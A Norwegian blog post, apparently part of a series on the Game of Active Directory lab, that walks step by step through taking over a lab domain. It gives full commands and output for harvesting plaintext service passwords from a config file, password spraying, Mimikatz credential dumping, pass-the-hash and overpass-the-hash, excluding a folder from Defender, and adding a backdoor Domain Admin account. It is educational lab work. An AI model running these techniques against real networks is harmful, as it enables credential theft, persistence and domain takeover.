mdit.no

Tag: MSSQL

  • GoAD Write-up – Persistence, Escalation & Lateral Movement

    GoAD Write-up – Persistence, Escalation & Lateral Movement

    Game of Active Directory del 3.1 – Persistence Privilege escalation & Lateral Movement

    Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.

    I dette segmentet tar vi for oss “Persistence”, “Escalation” og “Lateral Movement” på systemer. Vi fokuserer på flere MITRE ATT&CK teknikker, bl.a. T1078.002 – Valid Accounts: Domain Accounts, T1003.001 – OS Credential Dumping: LSASS Memory og T1136.002 – Create Account: Domain Account

    Selv om vi allerede har eierskap over Robb Stark kontoen som er administrator på Winterfell og på Castelblack skal vi begynne på Castelblack med Jeor Mormont sin konto for å demonstrere hvordan man kan gå fra lokal administrator på en maskin, til å bli domeneadministrator i et domene.


    Fotfeste

    Vi begynner med å logge på som NORTH\jeor.mormont via Evil-WINRM:

    $ evil-winrm -i "castelblack.north.sevenkingdoms.local" -u "NORTH\jeor.mormont" -p "_L0ngCl@w_"
    
    *Evil-WinRM* PS C:\Users\jeor.mormont\Documents> whoami
    north\jeor.mormont
    *Evil-WinRM* PS C:\Users\jeor.mormont\Documents> hostname
    castelblack

    Utforsking

    Vi ser oss litt rundt på systemet når vi først har admintilgang, og vi finner en interessant mappe på C:\ som heter setup. Denne inneholder en mappe som heter mssql. I den mappen finner vi en fil ved navn sql_conf.ini som inneholder veldig spennende opplysninger.

    *Evil-WinRM* PS C:\setup\mssql> dir
    
    
        Directory: C:\setup\mssql
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----        9/11/2025  11:54 AM                media
    -a----        9/11/2025  11:54 AM           1253 sql_conf.ini
    -a----        9/11/2025  11:54 AM        6379936 sql_installer.exe
    -a----        9/11/2025  12:02 PM      495847104 SSMS_installer.exe
    
    
    *Evil-WinRM* PS C:\setup\mssql> download sql_conf.ini
                                            
    Info: Downloading C:\setup\mssql\sql_conf.ini to sql_conf.ini
                                            
    Info: Download successful!

    sql_conf.ini

    Vi finner SQL Service Account navn og passord i klartekst, samt SA brukernavn og passord.

    $ cat sql_conf.ini          
    ;SQL Server Configuration File
    [OPTIONS]
    IACCEPTSQLSERVERLICENSETERMS="True"
    ACTION="Install"
    ENU="True"
    QUIET="True"
    QUIETSIMPLE="False"
    UpdateEnabled="False"
    ERRORREPORTING="False"
    USEMICROSOFTUPDATE="False"
    FEATURES=SQLENGINE,FULLTEXT
    UpdateSource="MU"
    HELP="False"
    INDICATEPROGRESS="False"
    X86="False"
    INSTALLSHAREDDIR="C:\Program Files\Microsoft SQL Server"
    INSTALLSHAREDWOWDIR="C:\Program Files (x86)\Microsoft SQL Server"
    INSTANCENAME="SQLEXPRESS"
    SQMREPORTING="False"
    INSTANCEID="SQLEXPRESS"
    RSINSTALLMODE="DefaultNativeMode"
    INSTANCEDIR="C:\Program Files\Microsoft SQL Server"
    AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
    AGTSVCSTARTUPTYPE="Automatic"
    COMMFABRICPORT="0"
    COMMFABRICNETWORKLEVEL="0"
    COMMFABRICENCRYPTION="0"
    MATRIXCMBRICKCOMMPORT="0"
    SQLSVCSTARTUPTYPE="Automatic"
    FILESTREAMLEVEL="0"
    ENABLERANU="False"
    SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
    SQLSVCACCOUNT="north.sevenkingdoms.local\sql_svc"
    SQLSVCPASSWORD="YouWillNotKerboroast1ngMeeeeee"
    SAPWD="Sup1_sa_P@ssw0rd!"
    SQLSYSADMINACCOUNTS="north.sevenkingdoms.local\sql_svc"
    ADDCURRENTUSERASSQLADMIN="True"
    TCPENABLED="1"
    NPENABLED="0"
    BROWSERSVCSTARTUPTYPE="Disabled"
    RSSVCSTARTUPTYPE="manual"
    FTSVCACCOUNT="NT Service\MSSQLFDLauncher"

    Netexec MSSQL

    MSSQL credentials er ofte gjenbrukt på flere tjenester. Vi tester å password spraye serverparken med konto sql_svc og passordet vi avdekket i config fila, og ser det funker på både CASTELBLACK og BRAAVOS, og de befinner seg henholdsvis i north.sevenkingdoms.local og i essos.local – vi har med andre ord gyldige MSSQL credentials i to domener.

    $ netexec mssql 10.3.2.10-30 -u sql_svc -p "YouWillNotKerboroast1ngMeeeeee"
    MSSQL       10.3.2.22       1433   CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local)
    MSSQL       10.3.2.23       1433   BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 (name:BRAAVOS) (domain:essos.local)
    MSSQL       10.3.2.22       1433   CASTELBLACK      [+] north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)
    MSSQL       10.3.2.23       1433   BRAAVOS          [+] essos.local\sql_svc:YouWillNotKerboroast1ngMeeeeee (Pwn3d!)

    XFREERDP3

    Vi kobler på Castelblack serveren via RDP med verktøyet XFREERDP3, med brukeren jeor.mormont og passordet vi fant i scriptet på fileshare tidligere.

    $ xfreerdp3 /u:jeor.mormont /p:_L0ngCl@w_ /v:castelblack.north.sevenkingdoms.local
    
    Certificate details for castelblack.north.sevenkingdoms.local:3389 (RDP-Server):
            Common Name: castelblack.north.sevenkingdoms.local
            Subject:     CN = castelblack.north.sevenkingdoms.local
            Issuer:      CN = castelblack.north.sevenkingdoms.local
            Valid from:  Sep  9 14:23:57 2025 GMT
            Valid to:    Mar 11 14:23:57 2026 GMT
            Thumbprint:  f1:8c:88:75:0d:a2:29:40:50:b3:71:30:dd:75:69:25:ee:f7:fc:6b:19:47:a7:90:c8:27:d0:66:f9:f1:69:a5
    The above X.509 certificate could not be verified, possibly because you do not have
    the CA certificate in your certificate store, or the certificate has expired.
    Please look at the OpenSSL documentation on how to add a private CA to the store.
    Do you trust the above certificate? (Y/T/N) y
    
    
    Vi ser vi er inne på castelblack serveren som jeor.mormont via remote desktop protocol.

    ..og vi er inne, som jeor,mormont på castelblack via RDP.


    Aktive sesjoner

    Vi sjekker Task Manager for å se om det er noen interessante sesjoner vi kan prøve å dumpe ut, og her ser vi at robb.stark også er på maskinen. Vi har allerede stjelt og cracket hashen hans i forrige artikkel, men vi ønsker å se på enda en måte å få tak i denne kontoen på.

    Det er to åpne brukersesjoner på maskinen: robb.stark, og jeor.mormont (oss).

    Windows Defender

    Som vi kan se er Defender real-time-protection allerede skrudd av på denne maskinen, men for å være helt sikre oppretter vi også en ekskludert mappe for verktøy vi ønsker å benytte.

    C:\tmp\ er ekskludert fra Windows Defender, og real-time-scanning er avslått.

    Verktøy

    Det neste vi gjør er å laste opp noen verktøy vi skal bruke til å dumpe NTLM hasher, bl.a for Robb Stark brukeren ut av LSASS. Vi bruker like gjerne WinRM til å laste opp en kolleksjon med verktøy vi har som ligger i en mappe som heter wintools.

    *Evil-WinRM* PS C:\tmp> upload wintools
                                           
    Info: Uploading /home/kali/tools/wintools to C:\tmp\wintools
    Data: 254727192 bytes of 254727192 bytes copied
                                            
    Info: Upload successful!

    Med en lokal administratorkonto, defender deaktivert og verktøykasse på plass kan vi gå i gang med å fyre opp Mimikatz, og å dumpe ut hasher fra minnet.

    PS C:\tmp\wintools\mimikatz> .\mimikatz.exe
    
      .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
     .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
     ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
     ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
     '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
      '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

    i outputfilen katz.txt finner vi mye spennende – forkortet for å ikke bruke plass på unødvendig innhold.

    mimikatz # sekurlsa::logonpasswords
    
    Authentication Id : 0 ; 435494 (00000000:0006a526)
    Session           : Interactive from 2
    User Name         : DWM-2
    Domain            : Window Manager
    Logon Server      : (null)
    Logon Time        : 9/12/2025 7:44:47 AM
    SID               : S-1-5-90-0-2
            msv :
             [00000003] Primary
             * Username : CASTELBLACK$
             * Domain   : NORTH
             * NTLM     : 5feda43ac32e843e0402dafbe67607fb
             * SHA1     : b273d6e61eaf0adc95ca1026851ed3793d1ba32b
             * DPAPI    : b273d6e61eaf0adc95ca1026851ed379
            tspkg :
            wdigest :
             * Username : CASTELBLACK$
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : CASTELBLACK$
             * Domain   : north.sevenkingdoms.local
             * Password : ED^ILvC<fph2W$mN`+*f@;rdjzC61eV#%7"S)l%d/%1Am#xouo/=[64:3.3zacO9K>_eP2#ew15Nvd#/K% f$]sRm0y:)#\/.XJ$BN+65hF-/eTwE5qwUnGO
            ssp :
            credman :
    
    Authentication Id : 0 ; 137835814 (00000000:08373526)
    Session           : RemoteInteractive from 3
    User Name         : jeor.mormont
    Domain            : NORTH
    Logon Server      : WINTERFELL
    Logon Time        : 9/29/2025 2:03:23 AM
    SID               : S-1-5-21-88918170-2512471535-2376777965-1120
            msv :
             [00000003] Primary
             * Username : jeor.mormont
             * Domain   : NORTH
             * NTLM     : 6dccf1c567c56a40e56691a723a49664
             * SHA1     : 7774de0d0e1f76a478cafe4170c6628ea751d955
             * DPAPI    : 14fb89c095e4127e9a6d6f78a519fbe6
            tspkg :
            wdigest :
             * Username : jeor.mormont
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : jeor.mormont
             * Domain   : NORTH.SEVENKINGDOMS.LOCAL
             * Password : (null)
            ssp :
            credman :
    
    Authentication Id : 0 ; 457917 (00000000:0006fcbd)
    Session           : RemoteInteractive from 2
    User Name         : robb.stark
    Domain            : NORTH
    Logon Server      : WINTERFELL
    Logon Time        : 9/12/2025 7:44:47 AM
    SID               : S-1-5-21-88918170-2512471535-2376777965-1113
            msv :
             [00000003] Primary
             * Username : robb.stark
             * Domain   : NORTH
             * NTLM     : 831486ac7f26860c9e2f51ac91e1a07a
             * SHA1     : 3bea28f1c440eed7be7d423cefebb50322ed7b6c
             * DPAPI    : afe9b43cb143c4d4630997bf0937792f
            tspkg :
            wdigest :
             * Username : robb.stark
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : robb.stark
             * Domain   : NORTH.SEVENKINGDOMS.LOCAL
             * Password : (null)
            ssp :
            credman :
    
    Authentication Id : 0 ; 105893 (00000000:00019da5)
    Session           : Service from 0
    User Name         : sql_svc
    Domain            : NORTH
    Logon Server      : WINTERFELL
    Logon Time        : 9/12/2025 7:44:32 AM
    SID               : S-1-5-21-88918170-2512471535-2376777965-1121
            msv :
             [00000003] Primary
             * Username : sql_svc
             * Domain   : NORTH
             * NTLM     : 84a5092f53390ea48d660be52b93b804
             * SHA1     : 9fd961155e28b1c6f9b3859f32f4779ad6a06404
             * DPAPI    : 5a2c3906642cc03b77a3ddb6f75fe412
            tspkg :
            wdigest :
             * Username : sql_svc
             * Domain   : NORTH
             * Password : (null)
            kerberos :
             * Username : sql_svc
             * Domain   : NORTH.SEVENKINGDOMS.LOCAL
             * Password : (null)
            ssp :
            credman :

    Vi ser vi har plukket opp passordet til maskinkontoen CASTELBLACK$ i klartekst, og vi har også plukket opp NTLM hasher for jeor.mormont, robb.stark og sql_svc kontoene.


    Pass-the-Hash

    Vi hadde allerede passordene til alle tre kontoene, men dersom vi ikke hadde funnet dem via andre teknikker ville vi hatt disse NTLM hashene nå, og vi kan forsøke å knekke passord med HashCat, eller vi kan spare oss bryet og logge rett på tjenester med NTLM hashen uten å kunne passordet, i såkalte “pass-the-hash” angrep.

    $ xfreerdp3 /u:robb.stark /pth:831486ac7f26860c9e2f51ac91e1a07a /v:winterfell.north.sevenkingdoms.local
    
    Certificate details for winterfell.north.sevenkingdoms.local:3389 (RDP-Server):
    Common Name: winterfell.north.sevenkingdoms.local
    Subject: CN = winterfell.north.sevenkingdoms.local
    Issuer: CN = winterfell.north.sevenkingdoms.local
    Valid from: Sep 9 14:10:31 2025 GMT
    Valid to: Mar 11 14:10:31 2026 GMT
    Thumbprint: 7f:71:a3:d6:99:86:d5:5b:48:ca:0b:42:80:00:78:bf:74:46:54:80:72:ae:e0:2c:43:8f:5a:40:52:65:41:39
    The above X.509 certificate could not be verified, possibly because you do not have
    the CA certificate in your certificate store, or the certificate has expired.
    Please look at the OpenSSL documentation on how to add a private CA to the store.
    Do you trust the above certificate? (Y/T/N) y

    Vi forsøker å logge på winterfell.north.sevenkingdoms.local som er domenekontroller i north subdomenet i ad-skogen sevenkingdoms.local.

    “Account restrictions are preventing this user from signing in, For example: blank passwords aren’t allowed, sign-in times are limited, or a policy restriction has been enforced.”

    Vi blir dessverre møtt med en beskjed om at dette ikke er tillatt grunnet kontorestriksjoner. Dette skyldes en innstilling som er satt noen steder og ikke andre.


    NetExec med kontonavn og hash:

    Prøver vi derimot å benytte hashen til robb.stark for smb enumerering ser vi at det funker helt fint, da dette ikke berøres av samme innstillingene.

    $ netexec smb 10.3.2.10-30 -u robb.stark -H 831486ac7f26860c9e2f51ac91e1a07a
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a (Pwn3d!)
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a STATUS_LOGON_FAILURE
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a STATUS_LOGON_FAILURE
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a (Guest)                                                                                                                 
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:831486ac7f26860c9e2f51ac91e1a07a
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

    Overpass-the-hash

    Vi benytter en teknikk som heter overpass-the-hash ved hjelp av mimikatz. På denne måten kan vi “oppgradere” til Kerberos autentisering som Robb.Stark på Castelblack serveren. Dette lar oss også snakke med domenet som om vi er Robb Stark.

    mimikatz # privilege::debug
    Privilege '20' OK
    
    mimikatz # sekurlsa::pth /user:robb.stark /domain:north.sevenkingdoms.local /ntlm:831486ac7f26860c9e2f51ac91e1a07a
    user    : robb.stark
    domain  : north.sevenkingdoms.local
    program : cmd.exe
    impers. : no
    NTLM    : 831486ac7f26860c9e2f51ac91e1a07a
      |  PID  1604
      |  TID  4260
      |  LSA Process is now R/W
      |  LUID 0 ; 2426481 (00000000:00250671)
      \_ msv1_0   - data copy @ 00000225E0CBDBA0 : OK !
      \_ kerberos - data copy @ 00000225E1279618
       \_ aes256_hmac       -> null
       \_ aes128_hmac       -> null
       \_ rc4_hmac_nt       OK
       \_ rc4_hmac_old      OK
       \_ rc4_md4           OK
       \_ rc4_hmac_nt_exp   OK
       \_ rc4_hmac_old_exp  OK
       \_ *Password replace @ 00000225E11D20C8 (32) -> null

    Det åpnes et nytt cmd.exe vindu. Sjekker vi hvem vi er via /whoami ser vi at systemet mener vi er jeor.mormont enda.

    Microsoft Windows [Version 10.0.17763.7792]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>whoami
    north\jeor.mormont

    Sjekker vi om vi har fått noen Kerberos tickets via KLIST ser vi at det ser jo heller dårlig ut.

    C:\Windows\system32>klist
    
    Current LogonId is 0:0x375a10
    
    Cached Tickets: (0)

    Men prøver vi å enumerere innholdet på C disken på Winterfell DCen så ser vi at det fungerer faktisk helt fint.

    C:\Windows\system32>dir \\winterfell.north.sevenkingdoms.local\C$
     Volume in drive \\winterfell.north.sevenkingdoms.local\C$ is Windows 2019
     Volume Serial Number is 9458-49FB
    
     Directory of \\winterfell.north.sevenkingdoms.local\C$
    
    09/12/2025  05:43 AM             5,280 dns_log.txt
    09/10/2025  04:27 AM    <DIR>          inetpub
    05/11/2021  09:55 PM    <DIR>          PerfLogs
    09/09/2025  11:23 AM    <DIR>          Program Files
    05/11/2021  09:41 PM    <DIR>          Program Files (x86)
    09/11/2025  12:04 PM    <DIR>          setup
    09/10/2025  04:26 AM    <DIR>          tmp
    09/30/2025  10:56 AM    <DIR>          Users
    09/30/2025  10:31 AM    <DIR>          Windows
                   1 File(s)          5,280 bytes
                   8 Dir(s)  38,864,101,376 bytes free

    Sjekker vi KLIST igjen ser vi at nå har vi fått en kerberos ticket-granting-ticket for robb.stark, og at vi også har hentet oss en Kerberos Service Ticket for robb som er gyldig mot fileshares på winterfell.

    C:\Windows\system32>klist
    
    Current LogonId is 0:0x375a10
    
    Cached Tickets: (3)
    
    #0>     Client: robb.stark @ NORTH.SEVENKINGDOMS.LOCAL
            Server: krbtgt/NORTH.SEVENKINGDOMS.LOCAL @ NORTH.SEVENKINGDOMS.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
            Start Time: 9/30/2025 11:12:35 (local)
            End Time:   9/30/2025 21:12:35 (local)
            Renew Time: 10/7/2025 11:12:35 (local)
            Session Key Type: AES-256-CTS-HMAC-SHA1-96
            Cache Flags: 0x2 -> DELEGATION
            Kdc Called: winterfell.north.sevenkingdoms.local
    
    #1>     Client: robb.stark @ NORTH.SEVENKINGDOMS.LOCAL
            Server: krbtgt/NORTH.SEVENKINGDOMS.LOCAL @ NORTH.SEVENKINGDOMS.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
            Start Time: 9/30/2025 11:12:35 (local)
            End Time:   9/30/2025 21:12:35 (local)
            Renew Time: 10/7/2025 11:12:35 (local)
            Session Key Type: RSADSI RC4-HMAC(NT)
            Cache Flags: 0x1 -> PRIMARY
            Kdc Called: winterfell.north.sevenkingdoms.local
    
    #2>     Client: robb.stark @ NORTH.SEVENKINGDOMS.LOCAL
            Server: cifs/Winterfell.north.sevenkingdoms.local @ NORTH.SEVENKINGDOMS.LOCAL
            KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
            Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
            Start Time: 9/30/2025 11:12:35 (local)
            End Time:   9/30/2025 21:12:35 (local)
            Renew Time: 10/7/2025 11:12:35 (local)
            Session Key Type: AES-256-CTS-HMAC-SHA1-96
            Cache Flags: 0
            Kdc Called: winterfell.north.sevenkingdoms.local

    PowerSploit: New-DomainUser

    En mye brukt teknikk for å komme inn i et system er å opprette en egen bruker på målsystemet som vi bestemmer passordet på selv. I dette tilfellet ønsker vi å bruke PowerSploit, selv om det er mange måter å gjøre dette på, som med alle andre teknikker og verktøy denne serien demonstrerer.

    Vi begynner med å laste inn powershell.exe og modulen PowerSploit fra verktøykassa. Deretter oppretter vi en SecureString med passordet vårt som i dette tilfellet er WinterIsComing. Så oppretter vi en ny bruker vi kaller Backdoor.Stark med dette passordet.

    PS C:\tmp\wintools> import-module .\PowerSploit\PowerSploit.psm1
    
    PS C:\tmp\wintools> $Secret = read-host -assecurestring
    **************
    
    PS C:\tmp\wintools> New-DomainUser -SamAccountName Backdoor.Stark -AccountPassword $Secret -Name "Backdoor Stark" -DisplayName "Backdoor Stark" -Description "Backdoor :)"
    
    
    GivenName                         :
    MiddleName                        :
    Surname                           :
    EmailAddress                      :
    VoiceTelephoneNumber              :
    EmployeeId                        :
    AdvancedSearchFilter              : System.DirectoryServices.AccountManagement.AdvancedFilters
    Enabled                           : True
    AccountLockoutTime                :
    LastLogon                         :
    PermittedWorkstations             : {}
    PermittedLogonTimes               :
    AccountExpirationDate             :
    SmartcardLogonRequired            : False
    DelegationPermitted               : True
    BadLogonCount                     : 0
    HomeDirectory                     :
    HomeDrive                         :
    ScriptPath                        :
    LastPasswordSet                   : 9/30/2025 5:49:52 PM
    LastBadPasswordAttempt            :
    PasswordNotRequired               : False
    PasswordNeverExpires              : False
    UserCannotChangePassword          : False
    AllowReversiblePasswordEncryption : False
    Certificates                      : {}
    Context                           : System.DirectoryServices.AccountManagement.PrincipalContext
    ContextType                       : Domain
    Description                       : Backdoor :)
    DisplayName                       : Backdoor Stark
    SamAccountName                    : Backdoor.Stark
    UserPrincipalName                 :
    Sid                               : S-1-5-21-88918170-2512471535-2376777965-1122
    Guid                              : a0e35259-e2e7-4a42-8dbe-c16d8a71c931
    DistinguishedName                 : CN=Backdoor Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    StructuralObjectClass             : user
    Name                              : Backdoor Stark

    Er vi først i gang kan vi like gjerne legge Backdoor Stark til i Domain Admins, og sjekker at vi har lykkes med det.

    PS C:\tmp\wintools> Add-DomainGroupMember "Domain Admins" -Members "Backdoor.Stark"
    PS C:\tmp\wintools> Get-DomainGroupMember "Domain Admins"
    
    
    GroupDomain             : north.sevenkingdoms.local
    GroupName               : Domain Admins
    GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberDomain            : north.sevenkingdoms.local
    MemberName              : Backdoor.Stark
    MemberDistinguishedName : CN=Backdoor Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberObjectClass       : user
    MemberSID               : S-1-5-21-88918170-2512471535-2376777965-1122
    
    GroupDomain             : north.sevenkingdoms.local
    GroupName               : Domain Admins
    GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberDomain            : north.sevenkingdoms.local
    MemberName              : eddard.stark
    MemberDistinguishedName : CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberObjectClass       : user
    MemberSID               : S-1-5-21-88918170-2512471535-2376777965-1111
    
    GroupDomain             : north.sevenkingdoms.local
    GroupName               : Domain Admins
    GroupDistinguishedName  : CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberDomain            : north.sevenkingdoms.local
    MemberName              : Administrator
    MemberDistinguishedName : CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
    MemberObjectClass       : user
    MemberSID               : S-1-5-21-88918170-2512471535-2376777965-500

    RDP til DC for North Subdomain

    Så forsøker vi å koble opp mot Winterfell som Backdoor.Stark med passord WinterIsComing over RDP.

    $ xfreerdp3 /u:backdoor.stark /p:WinterIsComing /v:winterfell.north.sevenkingdoms.local
    Backdoor Stark har kommet inn på Winterfell via RDP.

    Refleksjon

    Vi har altså tatt over hele North subdomenet i Sevenkingdoms.local skogen, med enkle metoder og verktøy som har vært offentlig tilgjengelige i lange tider – i noen tilfeller flere tiår – som likevel kan være ekstremt enkle og effektive i bruk mot selv maskiner som kjører Windows Server 2016 og Windows Server 2019!

    Noen av svakhetene skyldes svake standardkonfigurasjoner som Microsoft lar stå for å sikre bakoverkompatibilitet med systemer fra 80- og 90-tallet rett ut av boksen. Andre ting skyldes dårlige administrative praksiser som svekker sikkerheten ytterligere.

    I neste innlegg skal vi se hvordan vi kan ta oss fra eierskap i North subdomenet til eierskap over hele sevenkingdoms.local skogen ved å misbruke flere svake konfigurasjoner.